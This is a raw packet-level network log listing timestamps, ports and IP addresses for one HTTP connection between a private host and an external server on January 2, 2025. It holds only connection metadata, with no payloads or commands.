Jan 2, 2025 20:34:49.959784031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959801912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960033894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960043907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960053921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960066080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960078001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960099936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960186958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960228920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960228920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960251093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960269928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960287094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960335970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960346937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960364103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960375071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960382938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960386038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960397005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960416079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960444927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960444927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960455894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960468054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960484028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960484028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960495949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960506916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960516930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960519075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960549116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960568905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960591078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960602045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960613012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960629940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960633993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960640907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960650921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960658073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960664034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960675001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960690975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960704088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960715055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960720062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960750103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960766077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960777998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960788012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960805893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960820913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960832119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960832119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960843086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960854053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.960865021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.960905075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.961913109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.961925983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.961935997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.961956024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.961961985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.961966991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.961977959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.961987972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.961998940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.962004900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.962039948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.963782072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.963831902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.963891029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.963902950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.963913918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.963926077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.963933945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.963936090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.963947058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.963958979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.963990927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.964008093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.971040964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.971096992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.971102953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.971115112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.971127033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.971137047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.971143007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.971148968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.971162081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.971174002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.971223116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.973305941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.973319054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.973330021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.973347902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.973356962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.973357916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.973370075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.973376036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.973381042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.973414898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.977880001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.977915049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.977933884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.977942944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.977946997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.977958918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.977969885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.977972031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.977991104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.977993965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.978003025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.978015900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.978039980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.978051901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.980942011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.980984926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.980989933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.980997086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.981009007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.981019974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.981024981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.981050968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.981082916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.981096029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.981137037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.981147051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.981183052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.045950890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.045979023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.045991898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046003103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046015024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046025038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046036005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046045065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046066999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046083927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046093941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046094894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046104908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046118021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046128035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046293020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046293020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046322107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046334028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046344995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046355009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046366930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046371937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046396017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046417952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046468019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046478987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046497107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046514034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046518087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046525002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046535969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046546936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046549082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046556950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046571970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046574116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046591997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046613932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046655893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046668053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046679020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046689987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046700954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046710968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046710968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046724081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046746969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046747923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046758890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046766996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046781063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046791077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046794891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046802044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046822071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046830893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046835899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046837091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046845913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046871901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046875954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046905041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046905994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046916008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046926975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046948910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.046957016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046967030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046978951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.046993017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047003984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047009945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047017097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047049999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047075987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047090054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047101021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047111988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047121048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047122955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047149897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047174931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047190905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047235012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047288895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047301054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047326088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047334909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047336102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047348976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047364950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047367096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047377110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047384977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047388077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047399044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047410011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047415972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047447920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047482014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047501087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047511101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047522068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047533035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.047535896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047565937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.047593117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.048604965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.048619032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.048630953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.048640966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.048651934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.048661947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.048672915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.048672915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.048685074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.048712969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.048737049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.050523043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050534964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050551891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050566912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050584078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050590038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.050595045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050605059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050612926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.050616980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050626993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.050636053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.050664902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.057737112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.057751894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.057763100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.057774067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.057785034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.057795048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.057811975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.057812929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.057823896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.057845116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.057873964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.060013056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.060025930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.060036898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.060081959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.060091972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.060103893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.060115099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.060127020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.062114000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.064661980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.064675093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.064687014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.064697981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.064708948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.064721107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.064727068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.064732075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.064743996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.064750910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.064774036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.067692995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067704916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067723036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067734003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067743063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067755938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067760944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.067768097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067778111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067784071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.067790031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.067814112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.067832947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132626057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132643938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132664919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132678032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132688999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132689953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132699966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132721901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132725954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132745981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132755041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132765055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132772923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132776022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132785082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132790089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132795095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132806063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132817030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132827997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132833958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132838011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132849932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132863998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132886887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132889032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132927895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132930994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132940054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132967949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.132967949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132977962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.132983923 CET	49730	80	192.168.2.4	47.254.187.72
